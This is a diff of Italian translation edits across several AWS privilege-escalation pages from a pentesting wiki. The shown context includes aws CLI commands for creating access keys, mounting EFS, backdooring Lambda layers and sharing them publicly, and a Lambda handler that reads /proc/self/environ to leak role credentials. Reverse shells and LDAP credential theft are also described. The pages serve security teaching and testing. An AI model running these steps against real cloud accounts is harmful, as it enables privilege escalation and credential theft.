`ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Un attaccante con **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare il ruolo IAM ad esso associato (hai bisogno dei permessi di descrizione perché è necessario eseguire `aws ecs execute-command`).\ -Tuttavia, per farlo, l'istanza del container deve eseguire l'**agent ExecuteCommand** (che per impostazione predefinita non è). +Un attaccante con **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare il ruolo IAM ad esso associato (è necessario avere i permessi di descrizione perché è necessario eseguire `aws ecs execute-command`).\ +Tuttavia, per fare ciò, l'istanza del container deve eseguire l'**agent ExecuteCommand** (che per impostazione predefinita non è). Pertanto, l'attaccante potrebbe provare a: diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 3927e9be6..3eb3355dd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -4,17 +4,17 @@ ## EFS -Maggiore **info su EFS** in: +Ulteriori **info su EFS** in: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -Ricorda che per montare un EFS devi essere in una sottorete dove l'EFS è esposto e avere accesso ad esso (gruppi di sicurezza). Se ciò accade, per impostazione predefinita, sarai sempre in grado di montarlo, tuttavia, se è protetto da politiche IAM, devi avere i permessi extra menzionati qui per accedervi. +Ricorda che per montare un EFS devi essere in una sottorete in cui l'EFS è esposto e avere accesso ad esso (gruppi di sicurezza). Se ciò accade, per impostazione predefinita, sarai sempre in grado di montarlo, tuttavia, se è protetto da politiche IAM, devi avere le autorizzazioni aggiuntive menzionate qui per accedervi. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -Con uno di questi permessi un attaccante può **cambiare la politica del file system** per **darti accesso** ad esso, o semplicemente **eliminarlo** in modo che il **accesso predefinito** venga concesso. +Con una di queste autorizzazioni un attaccante può **cambiare la politica del file system** per **darti accesso** ad esso, o semplicemente **eliminarlo** in modo che venga concesso il **accesso predefinito**. Per eliminare la politica: ```bash @@ -58,13 +58,13 @@ Con questo permesso, un attaccante sarà in grado di **montare l'EFS**. Se il pe sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` -Le autorizzazioni extra `elasticfilesystem:ClientRootAccess` e `elasticfilesystem:ClientWrite` possono essere utilizzate per **scrivere** all'interno del file system dopo che è stato montato e per **accedere** a quel file system **come root**. +I permessi aggiuntivi `elasticfilesystem:ClientRootAccess` e `elasticfilesystem:ClientWrite` possono essere utilizzati per **scrivere** all'interno del filesystem dopo che è stato montato e per **accedere** a quel filesystem **come root**. -**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nel file system. +**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nel filesystem. ### `elasticfilesystem:CreateMountTarget` -Se un attaccante si trova in una **sottorete** dove **non esiste alcun mount target** dell'EFS. Potrebbe semplicemente **crearene uno nella sua sottorete** con questo privilegio: +Se un attaccante si trova in una **sottorete** dove **non esiste alcun mount target** dell'EFS. Potrebbe semplicemente **crearne uno nella sua sottorete** con questo privilegio: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 817b5a21e..bbc2de157 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -11,11 +11,11 @@ Maggiore **info su Elastic Beanstalk** in: {{#endref}} > [!WARNING] -> Per eseguire azioni sensibili in Beanstalk è necessario avere **molte autorizzazioni sensibili in molti servizi diversi**. Puoi controllare, ad esempio, le autorizzazioni concesse a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Per eseguire azioni sensibili in Beanstalk è necessario avere un **gran numero di permessi sensibili in molti servizi diversi**. Puoi controllare, ad esempio, i permessi concessi a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, autorizzazioni di scrittura S3 e molte altre +### `elasticbeanstalk:RebuildEnvironment`, permessi di scrittura S3 e molti altri -Con **autorizzazioni di scrittura sul bucket S3** contenente il **codice** dell'ambiente e autorizzazioni per **ricostruire** l'applicazione (è necessario `elasticbeanstalk:RebuildEnvironment` e alcune altre relative a `S3`, `EC2` e `Cloudformation`), puoi **modificare** il **codice**, **ricostruire** l'app e la prossima volta che accedi all'app essa **eseguirà il tuo nuovo codice**, consentendo all'attaccante di compromettere l'applicazione e le credenziali del ruolo IAM ad essa associate. +Con **permessi di scrittura sul bucket S3** contenente il **codice** dell'ambiente e permessi per **ricostruire** l'applicazione (è necessario `elasticbeanstalk:RebuildEnvironment` e alcuni altri relativi a `S3`, `EC2` e `Cloudformation`), puoi **modificare** il **codice**, **ricostruire** l'app e la prossima volta che accedi all'app essa **eseguirà il tuo nuovo codice**, consentendo all'attaccante di compromettere l'applicazione e le credenziali del ruolo IAM ad essa associate. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -Prima di tutto, devi creare un **ambiente Beanstalk legittimo** con il **codice** che desideri eseguire nella **vittima** seguendo i **passi precedenti**. Potenzialmente un semplice **zip** contenente questi **2 file**: +Prima di tutto, è necessario creare un **ambiente Beanstalk legittimo** con il **codice** che si desidera eseguire nella **vittima** seguendo i **passi precedenti**. Potenzialmente un semplice **zip** contenente questi **2 file**: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Una volta che hai **il tuo ambiente Beanstalk in esecuzione** la tua rev shell, è tempo di **migrarlo** nell'ambiente delle **vittime**. Per farlo, devi **aggiornare la Bucket Policy** del tuo bucket S3 di beanstalk in modo che **la vittima possa accedervi** (Nota che questo **aprirà** il Bucket a **TUTTI**): +Una volta che hai **il tuo ambiente Beanstalk in esecuzione** con la tua rev shell, è tempo di **migrarlo** nell'ambiente della **vittima**. Per farlo, devi **aggiornare la Bucket Policy** del tuo bucket S3 di beanstalk in modo che la **vittima possa accedervi** (Nota che questo **aprirà** il Bucket a **TUTTI**): ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 75bfc0e79..9b39be7df 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -4,7 +4,7 @@ ## EMR -Maggiore **info su EMR** in: +Ulteriori **info su EMR** in: {{#ref}} ../aws-services/aws-emr-enum.md @@ -13,7 +13,7 @@ Maggiore **info su EMR** in: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` Un attaccante con questi permessi può **eseguire un nuovo cluster EMR allegando ruoli EC2** e cercare di rubare le sue credenziali.\ -Nota che per fare questo dovresti **conoscere qualche chiave privata ssh importata nell'account** o importarne una, e essere in grado di **aprire la porta 22 nel nodo master** (potresti essere in grado di farlo con gli attributi `EmrManagedMasterSecurityGroup` e/o `ServiceAccessSecurityGroup` all'interno di `--ec2-attributes`). +Nota che per fare questo avresti bisogno di **conoscere qualche chiave privata ssh importata nell'account** o di importarne una, e di essere in grado di **aprire la porta 22 nel nodo master** (potresti essere in grado di farlo con gli attributi `EmrManagedMasterSecurityGroup` e/o `ServiceAccessSecurityGroup` all'interno di `--ec2-attributes`). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" @@ -42,7 +42,7 @@ Nota come un **ruolo EMR** è specificato in `--service-role` e un **ruolo ec2** ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` -Con questi permessi un attaccante può andare alla **console AWS**, creare un Notebook e accedervi per rubare il ruolo IAM. +Con questi permessi un attaccante può accedere alla **console AWS**, creare un Notebook e accedervi per rubare il ruolo IAM. > [!CAUTION] > Anche se attacchi un ruolo IAM all'istanza del notebook nei miei test ho notato che ero in grado di rubare credenziali gestite da AWS e non credenziali relative al ruolo IAM. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index 1e2f6bc9c..cda59ccf7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,7 +4,7 @@ ### `gamelift:RequestUploadCredentials` -Con questo permesso, un attaccante può recuperare un **nuovo set di credenziali da utilizzare durante il caricamento** di un nuovo set di file di build di gioco su Amazon GameLift's Amazon S3. Restituirà **credenziali di caricamento S3**. +Con questo permesso un attaccante può recuperare un **nuovo set di credenziali da utilizzare durante il caricamento** di un nuovo set di file di build del gioco su Amazon GameLift's Amazon S3. Restituirà **credenziali di caricamento S3**. ```bash aws gamelift request-upload-credentials \ --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 9f3fec487..190d7f76e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -Per scopi di stealth, è consigliato utilizzare le credenziali IAM dall'interno della macchina virtuale Glue. +Per scopi di stealth, si consiglia di utilizzare le credenziali IAM dall'interno della macchina virtuale Glue. **Impatto Potenziale:** Privesc al ruolo di servizio glue specificato. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Gli utenti con questo permesso possono **modificare la chiave SSH** di un endpoint di sviluppo Glue esistente, **abilitando l'accesso SSH ad esso**. Questo consente all'attaccante di eseguire comandi con i privilegi del ruolo associato all'endpoint: +Gli utenti con questo permesso possono **modificare la chiave SSH di un endpoint di sviluppo Glue** esistente, **abilitando l'accesso SSH ad esso**. Questo consente all'attaccante di eseguire comandi con i privilegi del ruolo associato all'endpoint: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 03f0e5f91..b44cf9e50 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -35,7 +35,7 @@ aws iam set-default-policy-version --policy-arn --version-id Abilita la creazione di un ID chiave di accesso e di una chiave di accesso segreta per un altro utente, portando a una potenziale escalation dei privilegi. -**Sfruttamento:** +**Sfrutta:** ```bash aws iam create-access-key --user-name ``` @@ -61,7 +61,7 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require Consente di abilitare una chiave di accesso disabilitata, portando potenzialmente a un accesso non autorizzato se l'attaccante possiede la chiave disabilitata. -**Sfruttamento:** +**Sfrutta:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` @@ -85,7 +85,7 @@ aws iam reset-service-specific-credential --service-specific-credential-id --policy-arn "" ``` @@ -141,7 +141,7 @@ aws iam add-user-to-group --group-name --user-name ### **`iam:UpdateAssumeRolePolicy`** -Consente di modificare il documento della policy di assunzione del ruolo, abilitando l'assunzione del ruolo e delle sue autorizzazioni associate. +Consente di modificare il documento della policy di assunzione del ruolo, abilitando l'assunzione del ruolo e le sue autorizzazioni associate. **Sfruttamento:** ```bash @@ -177,11 +177,11 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number ``` -**Impatto:** Escalation indiretta dei privilegi abilitando l'accesso a CodeCommit o disabilitando la protezione MFA. +**Impatto:** Escalation di privilegi indiretta abilitando l'accesso a CodeCommit o disabilitando la protezione MFA. ### **`iam:ResyncMFADevice`** -Consente la risincronizzazione di un dispositivo MFA, portando potenzialmente a un'escalation indiretta dei privilegi manipolando la protezione MFA. +Consente la risincronizzazione di un dispositivo MFA, portando potenzialmente a un'escalation di privilegi indiretta manipolando la protezione MFA. **Comando Bash:** ```bash @@ -192,7 +192,7 @@ aws iam resync-mfa-device --user-name --serial-number ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Con questi permessi puoi **cambiare i metadati XML della connessione SAML**. Poi, potresti abusare della **federazione SAML** per **accedere** con qualsiasi **ruolo che la sta fidando**. +Con questi permessi puoi **cambiare i metadati XML della connessione SAML**. Poi, potresti abusare della **federazione SAML** per **accedere** con qualsiasi **ruolo che lo sta fidando**. Nota che facendo questo **gli utenti legittimi non potranno accedere**. Tuttavia, potresti ottenere l'XML, così puoi inserire il tuo, accedere e configurare il precedente. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 9ed257403..9f43c8b5f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -60,7 +60,7 @@ aws kms create-grant \ > Un grant può consentire solo determinati tipi di operazioni: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> Tieni presente che potrebbero volerci un paio di minuti affinché KMS **consenta all'utente di utilizzare la chiave dopo che il grant è stato generato**. Una volta trascorso quel tempo, il principale può utilizzare la chiave KMS senza dover specificare nulla.\ +> Nota che potrebbero volerci un paio di minuti affinché KMS **consenta all'utente di utilizzare la chiave dopo che il grant è stato generato**. Una volta trascorso quel tempo, il principale può utilizzare la chiave KMS senza dover specificare nulla.\ > Tuttavia, se è necessario utilizzare il grant immediatamente [usa un grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (controlla il codice seguente).\ > Per [**maggiori informazioni leggi questo**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash @@ -100,7 +100,7 @@ aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-re ``` ### `kms:Decrypt` -Questo permesso consente di utilizzare una chiave per decrittare alcune informazioni.\ +Questo permesso consente di utilizzare una chiave per decrittografare alcune informazioni.\ Per ulteriori informazioni controlla: {{#ref}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index b588ee61f..376136bec 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -13,7 +13,7 @@ Ulteriori informazioni su lambda in: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) Gli utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** possono elevare i loro privilegi.\ -Possono **creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente**, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi **scrivere e caricare codice su questa funzione Lambda (con una rev shell, ad esempio)**.\ +Possono **creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente**, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi **scrivere e caricare codice su questa funzione Lambda (con una rev shell ad esempio)**.\ Una volta configurata la funzione, l'utente può **attivare la sua esecuzione** e le azioni previste invocando la funzione Lambda tramite l'API AWS. Questo approccio consente effettivamente all'utente di eseguire compiti indirettamente attraverso la funzione Lambda, operando con il livello di accesso concesso al ruolo IAM associato ad essa.\\ Un attaccante potrebbe abusare di questo per ottenere una **rev shell e rubare il token**: @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -È anche possibile leak le credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per **Network isolated Lambdas** utilizzate in compiti interni. Se ci sono gruppi di sicurezza sconosciuti che filtrano le tue reverse shell, questo pezzo di codice ti permetterà di leak direttamente le credenziali come output della lambda. +È anche possibile leakare le credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per **Lambdas isolate dalla rete** utilizzate in compiti interni. Se ci sono gruppi di sicurezza sconosciuti che filtrano le tue reverse shell, questo pezzo di codice ti permetterà di leakare direttamente le credenziali come output della lambda. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -89,7 +89,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_ ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Gli utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalare i privilegi** anche senza `lambda:InvokeFunction`.\ +Gli utenti con permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalare i privilegi** anche senza `lambda:InvokeFunction`.\ Possono creare una **funzione Lambda con codice malevolo e assegnarle un ruolo IAM esistente**. Invece di invocare direttamente la Lambda, l'utente configura o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite una mappatura della sorgente evento. Questa configurazione garantisce che la funzione Lambda venga **attivata automaticamente all'inserimento di un nuovo elemento** nella tabella, sia per azione dell'utente che per un altro processo, attivando così indirettamente la funzione Lambda ed eseguendo il codice con i permessi del ruolo IAM passato. @@ -107,7 +107,7 @@ aws dynamodb create-table --table-name my_table \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` -Ora è possibile **collegare la funzione Lambda alla tabella DynamoDB** creando **una mappatura della sorgente evento**: +Ora è possibile **collegare la funzione Lambda alla tabella DynamoDB** creando **una mappatura della sorgente dell'evento**: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ @@ -130,7 +130,7 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` -**Impatto Potenziale:** Privesc diretto al ruolo del servizio lambda utilizzato concedendo il permesso di modificare il codice e eseguirlo. +**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato concedendo il permesso di modificare il codice e eseguirlo. ### `lambda:AddLayerVersionPermission` @@ -143,7 +143,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen ### `lambda:UpdateFunctionCode` -Gli utenti che detengono il permesso **`lambda:UpdateFunctionCode`** hanno il potenziale di **modificare il codice di una funzione Lambda esistente che è collegata a un ruolo IAM.**\ +Gli utenti che possiedono il permesso **`lambda:UpdateFunctionCode`** hanno il potenziale di **modificare il codice di una funzione Lambda esistente collegata a un ruolo IAM.**\ L'attaccante può **modificare il codice della lambda per esfiltrare le credenziali IAM**. Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la funzione Lambda è preesistente e operativa, è probabile che venga attivata attraverso flussi di lavoro o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato. @@ -157,7 +157,7 @@ aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` -**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato. +**Impatto Potenziale:** Privilegi di escalation diretti al ruolo di servizio lambda utilizzato. ### `lambda:UpdateFunctionConfiguration` @@ -202,7 +202,7 @@ Ad esempio, la libreria boto3 è caricata da `/var/runtime/boto3` (4ª posizione #### Sfruttamento -È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una funzione lambda. Per eseguire codice arbitrario, questo layer deve contenere qualche **libreria che la lambda importerà.** Se puoi leggere il codice della lambda, potresti trovarlo facilmente, nota anche che potrebbe essere possibile che la lambda stia **già utilizzando un layer** e potresti **scaricare** il layer e **aggiungere il tuo codice** lì dentro. +È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una funzione lambda. Per eseguire codice arbitrario, questo layer deve contenere qualche **libreria che la lambda andrà a importare.** Se puoi leggere il codice della lambda, potresti trovarlo facilmente, nota anche che potrebbe essere possibile che la lambda stia **già utilizzando un layer** e potresti **scaricare** il layer e **aggiungere il tuo codice** lì dentro. Ad esempio, supponiamo che la lambda stia utilizzando la libreria boto3, questo creerà un layer locale con l'ultima versione della libreria: ```bash @@ -210,12 +210,12 @@ pip3 install -t ./lambda_layer boto3 ``` Puoi aprire `./lambda_layer/boto3/__init__.py` e **aggiungere la backdoor nel codice globale** (una funzione per esfiltrare credenziali o ottenere una reverse shell, ad esempio). -Poi, comprimi quella directory `./lambda_layer` e **carica il nuovo lambda layer** nel tuo account (o in quello delle vittime, ma potresti non avere i permessi per farlo).\ +Poi, comprimi quella directory `./lambda_layer` e **carica il nuovo layer lambda** nel tuo account (o in quello delle vittime, ma potresti non avere i permessi per farlo).\ Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere **compatibile con la versione di python** utilizzata dalla lambda e se lo carichi nel tuo account, deve essere nella **stessa regione:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` -Ora, rendi il layer lambda caricato **accessibile da qualsiasi account**: +Ora, rendi il layer lambda **accessibile da qualsiasi account**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ @@ -236,7 +236,7 @@ Un **modo più furtivo per sfruttare questa vulnerabilità** può essere trovato ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Impatto Potenziale:** Privesc diretto al ruolo del servizio lambda utilizzato. +**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index df159059f..1d64e1528 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,7 +4,7 @@ ## Lightsail -Per ulteriori informazioni su Lightsail, controlla: +Per ulteriori informazioni su Lightsail controlla: {{#ref}} ../aws-services/aws-lightsail-enum.md @@ -27,7 +27,7 @@ Questo permesso ti permetterà di generare chiavi SSH per accedere alle istanze: ```bash aws lightsail get-instance-access-details --instance-name ``` -**Impatto Potenziale:** Trova informazioni sensibili all'interno delle istanze. +**Impatto Potenziale:** Trovare informazioni sensibili all'interno delle istanze. ### `lightsail:CreateBucketAccessKey` @@ -43,7 +43,7 @@ Questo permesso ti permetterà di ottenere le credenziali per accedere al databa ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` -**Impatto Potenziale:** Trova informazioni sensibili all'interno del database. +**Impatto Potenziale:** Trovare informazioni sensibili all'interno del database. ### `lightsail:UpdateRelationalDatabase` @@ -105,7 +105,7 @@ aws update-bucket --bucket-name --access-rules getObject=private,allowPu ### `lightsail:UpdateContainerService` -Con questi permessi, un attaccante potrebbe concedere accesso a ECR privati dal servizio di container. +Con questi permessi un attaccante potrebbe concedere accesso a ECR privati dal servizio container. ```bash aws update-container-service \ --service-name \ @@ -115,7 +115,7 @@ aws update-container-service \ ### `lightsail:CreateDomainEntry` -Un attaccante con questo permesso potrebbe creare un sottodominio e puntarlo al proprio indirizzo IP (presa di possesso del sottodominio), o creare un record SPF che gli consente di falsificare email dal dominio, o addirittura impostare il dominio principale al proprio indirizzo IP. +Un attaccante con questo permesso potrebbe creare un sottodominio e puntarlo al proprio indirizzo IP (presa di sottodominio), o creare un record SPF che gli consente di falsificare email dal dominio, o addirittura impostare il dominio principale sul proprio indirizzo IP. ```bash aws lightsail create-domain-entry \ --domain-name example.com \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index b859335a0..64b95ce39 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -21,7 +21,7 @@ aws mq create-user --broker-id --console-access --password --use ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -Con questi permessi puoi **creare un nuovo utente in un broker ActiveMQ** (questo non funziona in RabbitMQ): +Con questi permessi puoi **creare un nuovo utente in un broker ActimeMQ** (questo non funziona in RabbitMQ): ```bash aws mq list-brokers aws mq list-users --broker-id @@ -31,7 +31,7 @@ aws mq update-user --broker-id --console-access --password --use ### `mq:ListBrokers`, `mq:UpdateBroker` -Se un broker utilizza **LDAP** per l'autorizzazione con **ActiveMQ**, è possibile **cambiare** la **configurazione** del server LDAP utilizzato con **uno controllato dall'attaccante**. In questo modo, l'attaccante sarà in grado di **rubare tutte le credenziali inviate tramite LDAP**. +Se un broker utilizza **LDAP** per l'autorizzazione con **ActiveMQ**. È possibile **cambiare** la **configurazione** del server LDAP utilizzato in **uno controllato dall'attaccante**. In questo modo l'attaccante sarà in grado di **rubare tutte le credenziali inviate tramite LDAP**. ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index b610d63e8..dfd9ea2e2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -16,7 +16,7 @@ Con questi **privilegi** e **accesso alla VPC dove si trovano i broker kafka**, ```bash aws msk --client-authentication --cluster-arn --current-version ``` -Hai bisogno di accesso alla VPC perché **non puoi abilitare l'autenticazione None con Kafka esposto pubblicamente**. Se è esposto pubblicamente, se viene utilizzata l'autenticazione **SASL/SCRAM**, potresti **leggere il segreto** per accedervi (avrai bisogno di privilegi aggiuntivi per leggere il segreto).\ -Se viene utilizzata l'autenticazione **basata su ruolo IAM** e **kafka è esposto pubblicamente**, potresti comunque abusare di questi privilegi per darti permessi per accedervi. +È necessario avere accesso alla VPC perché **non puoi abilitare l'autenticazione None con Kafka esposto pubblicamente**. Se è esposto pubblicamente, se viene utilizzata l'autenticazione **SASL/SCRAM**, potresti **leggere il segreto** per accedere (avrai bisogno di privilegi aggiuntivi per leggere il segreto).\ +Se viene utilizzata l'autenticazione basata su **ruolo IAM** e **kafka è esposto pubblicamente**, potresti comunque abusare di questi privilegi per darti permessi per accedervi. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index b5b69f2e5..2796e251a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -4,7 +4,7 @@ ## Organizzazioni -Per ulteriori informazioni, controlla: +Per ulteriori informazioni controlla: {{#ref}} ../aws-services/aws-organizations-enum.md @@ -13,6 +13,6 @@ Per ulteriori informazioni, controlla: ## Dall'account di gestione agli account figli Se comprometti l'account root/di gestione, è probabile che tu possa compromettere tutti gli account figli.\ -Per [**scoprire come, controlla questa pagina**](../#compromising-the-organization). +Per [**scoprire come controllare questa pagina**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index 221e8ecc7..162312db1 100644 